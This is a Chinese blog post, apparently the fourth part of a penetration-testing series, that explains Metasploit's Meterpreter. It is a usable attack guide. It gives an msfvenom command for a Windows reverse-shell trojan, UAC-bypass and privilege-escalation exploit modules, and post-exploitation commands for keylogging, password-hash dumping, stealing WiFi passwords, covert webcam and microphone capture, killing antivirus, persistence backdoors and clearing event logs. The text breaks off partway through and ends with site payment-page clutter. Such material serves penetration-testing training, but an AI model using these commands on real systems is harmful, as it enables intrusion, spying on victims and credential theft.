渗透测试 ( 4 ) --- Meterpreter 命令详解

Meterpreter 是 Metasploit 框架中的强大后渗透工具,提供多种反弹 shell 类型,如 reverse_tcp、reverse_http 和 reverse_https。Meterpreter 可用于收集系统信息、提权、文件操作、网络监控和控制,如截图、键盘记录等。文章详述了 Meterpreter 的命令行选项、常用模块和技巧,包括权限提升、持久化后门创建、绕过 UAC 等。此外,还介绍了如何使用 msfvenom 生成不同平台的 payload,并探讨了免杀技术。
摘要由CSDN通过智能技术生成

From:https://blog.csdn.net/weixin_45605352/article/details/115824811

<<Web 安全攻防(渗透测试实战指南)>>

1、初识 Meterpreter

1.1.什么是 Meterpreter

   Meterpreter 是 Metasploit 框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell 的链接。Meterpreter shell 作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开 shell、得到用户密码、上传下载远程主机的文件、运行 cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外 Meterpreter 能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此 HIDS [基于主机的入侵检测系统] 很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。

  Meterpreter 还可以简化任务创建多个会话。可以来利用这些会话进行渗透。在 Metasploit Framework 中,Meterpreter 是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型 Payload。这种工具是基于 "内存DLL注入" 理念实现的,它能够通过创建一个新进程并调用注入的 DLL 来让目标系统运行注入的 DLL 文件。其中,攻击者与目标设备中Meterpreter 的通信是通过 Stager 套接字实现的 meterpreter 作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。

  需要说明的 meterpreter 在漏洞利用成功后会发送第二阶段的代码和 meterpreter 服务器 dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行 help之 后发现缺少命令。 连上 vpn 又在内网中使用 psexec 和 bind_tcp 的时候经常会出现这种情况

1.2.Meterpreter技术优势

  Metasploit 提供了各个主流平台的 Meterpreter 版本,包括 Windows、Linux,同时支持 x86、x64 平台,另外,Meterpreter 还提供了基于 PHP 和 Java 语言的实现。Meterpreter 的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter 还支持 Ruby 脚本形式的扩展。所以 Ruby 语言还很有必要。

2、Meterpreter 中常用反弹 shell 类型

2.1 reverse_tcp:

基于 TCP 的反向链接反弹 shell,使用起来很稳定。

生成 window 木马命令:msfvenom -p  windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=12581  -f exe -o hacker.exe

2.2 reverse_http:

基于 http 方式的反向连接,在网速慢的情况下不稳定

payload:/windows/meterpreter/reverse_http

2.3 reverse_https

基于 https 方式的反向连接,在网速慢的情况下不稳定, https如果反弹没有收到数据,可以将监听端口换成 443 试试。

payload:/windows/meterpreter/reverse_https

2.4 bind_tcp

这是一个基于TCP的正向连接 shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置 LHOST。

payload:/windows/meterpreter/bind_tcp

这里注意,我们设置的IP地址和端口就是目标机的。因为这是我们主动来连接它。

3、相关 Payload

Payload 中包含有需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。

Metasploit中的Payload模块主要有以下三种类型:

  • Single :Single是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到
  • Stager :这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信。
  • Stage :是Stager Payload下载的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。

在 Metasploit 中,我们可以通过 Payload 的名称和使用格式来推断它的类型:
Single Payload 的格式为:<target>/ <single>
Stager/Stage Payload 的格式为:<target>/ <stage> / <stager>
当在 Metasploit 中执行 show payloads 命令之后,它会给我们显示一个可使用的Payload列表

4、Meterpreter 的常用命令

meterpreter 控制技巧总结

meterpreter 收集信息

收集 windows 主机信息

方法一:
        shell
        systeminfo

方法二:
        sysinfo

收集本地(域)用户信息
        shell
        net user
        net user /domain

收集当前用户信息
        shell
        whoami /all

收集主机所运行的服务
        run service_manager -l

查询主机所在地理位置
        run post/multi/gather/wlan_geolocate

查询arp信息
        arp

枚举用户
        run post/windows/gather/enum_computers

读取目标主机的WIFI密码
        run post/windows/wlan/wlan_profile

监视
        run vnc                       VNC 连接,实现屏幕实时监控
        run sound_recorder    声音记录
        run webcam                开启摄像头

收集 linux 主机信息

提升权限常用模块

Windows 提权,绕过 UAC 进行提权,使用以下模块

exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_vbs

提高程序运行级别(runas)使用以下模块:exploit/windows/local/ask,该模块实际是使用更高权限运行程序,没有绕过UAC靶机会有响应,一般不使用。

利用 windows 提权漏洞进行提权

使用 ms13_053、ms14_058、ms16_016、ms16_032 等提权漏洞

对应漏洞补丁编号为

漏洞编号 CVE编号 补丁编号
ms13_053 CVE-2013-3129 KB2850851
ms14_058 CVE-2014-4148 KB3000061
ms16_016 CVE-2016-0051 KB3019215
ms16_032 CVE-2016-0099 KB3135174

漏洞利用对应模块(PS.msf版本为metasploit v4.17.24-dev)

漏洞编号 msf对应模块
ms13_053 exploit/windows/local/ms13_053_schlamperei
ms14_058 exploit/windows/local/ms14_058_track_popup_menu
ms16_016 exploit/windows/local/ms16_016_webdav
ms16_032 exploit/windows/local/ms16_032_secondary_logon_handle_privesc

以上是常用的提权模块,如果以上尝试均失败,请查看漏洞影响的系统版本,以及对应主机中是否安装了月度更新。

使用 meterpreter 命令提权:getsystem

meterpreter 控制逻辑总结

后渗透攻击 ( 命令、模块 ) 

arp
background
clearev
download、upload
execute   执行命令,可执行脚本或程
getprivs  查看当前用户具备的权限
getuid    查看 meterpreter 所在的用户组
getsystem 提权为管理员
sysinfo   查看计算机系统和名称等详细信息
idletime  查看目标系统运行了多长时间
keyscan_start  开启键盘记录
keyscan_dump   键盘记录下载
keyscan_stop   停止键盘记录
load           加载一些带有其他功能(后门)的软件
ps             查看目标系统的所有进程。如果没有root权限或者administrator权限,可以先查看进程,随后根据进程分析目标系统运行了什么软件。可以查找哪些软件有命令执行漏洞用来提权。甚至你还可以查看到目标系统用什么数据库之类的等等。

screenshot  截取目标系统屏幕
search      搜索目标系统的文件
shell       在目标系统打开一个命令行窗口,相当于cmd
web_list    查看目标机器上是否有网络摄像头,并且列举出来
webcam_snap 连接目标系统的摄像头

run get_local_subnets            查询主机路由
run arp_scanner -r x.x.x.x/24    扫描内网存活主机
run domain_list_gen              查询域用户
net use                          使用 ipc 通道访问域内用户
hashdump    导出全域 hash ( 获取目标系统用户密码 hash ),需要有系统权限

db_nmap    内网主机端口扫描:msf 中使用的 db_nmap 实际上实际上使用 nmap 进行扫描生成 xml 格式文件,再导入,因此 db_nmap实际上就是nmap。

模块

run hashdump    获取目标系统哈希值,包括密码提示,需要有”system“权限

1、hashdump 获取目标系统哈希值
    run post/windows/gather/hashdump
    把获取到的哈希值在彩虹表中进行破解,
    访问md5在线解密破解,md5解密加密:https://cmd5.com/

2、migrate
    run post/windows/manage/migrate
    可以将meterpreter当前的进程移动到一个新的进程。
    主要用来防软杀,或者进程不稳定的时候使用这个模块。

3、run killav 关闭对方杀软
    run /post/windows/manage/killav

4、run post/windows/gather/enum_computers
    枚举 Windows 域内所有用户,不包含目标主机

5、run persistence
    写入硬盘,下次目标主机启动时,木马将会自启动
    (不一定成功,建议重新上传后门)

6、run post/multi/gather/wlan_geolocate
    基于WLAN进行地理位置确认。

8、run service_manager
    目标主机系统服务管理

9、run post/windows/wlan/wlan_profile
    获取目标主机WiFi密码

10、run vnc
    屏幕实时监控,配和 录制声音、开启摄像头 效果会更好
    run sound_recoder(录制声音)
    run webcam(开启摄像头)

4.1 全部 基本 命令:

meterpreter > ?

核心 命令
=============
    ?                         帮助
    background                当前 session 放到 后端
    bg                        background 的 别名
    bgkill                    结束一个 后端 meterpreter script
    bglist                    列出正在运行的 后端 scripts
    bgrun                     执行一个 meterpreter script,同时作为后端线程
    channel                   显示信息或控制活动 channel ( 通道 )
    close                     关闭一个 channel
    detach                    分离 meterpreter session (用于 http/https)
    disable_unicode_encoding  禁用unicode字符串编码
    enable_unicode_encoding   启用unicode字符串编码
    exit                      终止 meterpreter session
    get_timeouts              获取当前会话超时时间
    guid                      获取 GUID
    help                      帮助
    info                      Displays information about a Post module
    irb                       在当前会话中打开一个 Ruby shell
    load                      载入一个或者多个 meterpreter 扩展
    machine_id                获取计算机的MSF ID
    migrate                   将服务迁移到其他进程 ( 注入到其他进程 )
    pivot                     Manage pivot listeners
    pry                       Open the Pry debugger on the current session
    quit                      Terminate the meterpreter session
    read                      从 channel 读数据
    resource                  运行存储在文件中的命令
    run                       执行 meterpreter script 或者 Post module
    secure                    (Re)Negotiate TLV packet encryption on the session
    sessions                  快速切换到另一个会话
    set_timeouts              设置当前会话超时值
    sleep                     强制 Meterpreter 睡眠多少秒后再次连接
    ssl_verify                修改SSL证书验证设置
    transport                 Manage the transport mechanisms
    use                       load 的别名,已经弃用。
    uuid                      获取 uuid
    write                     向 channel 写数据


Stdapi: 文件 系统 命令
============================

    Command       Description
    -------       -----------
    cat           
    cd            
    checksum      检索文件的校验和
    cp            
    del           
    dir           
    download      下载文件或者目录
    edit          编辑文件    
    getwd         打印工作目录
    getlwd        打印本地工作目录
    lcat          
    lcd           
    lls           
    lpwd          
    ls           
    mkdir         
    mv            
    pwd           
    rm            
    rmdir         
    search        搜索文件
    show_mount    列出所有挂载点/逻辑驱动器
    upload        上传文件或者目录


Stdapi: 网络 命令
================&#
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值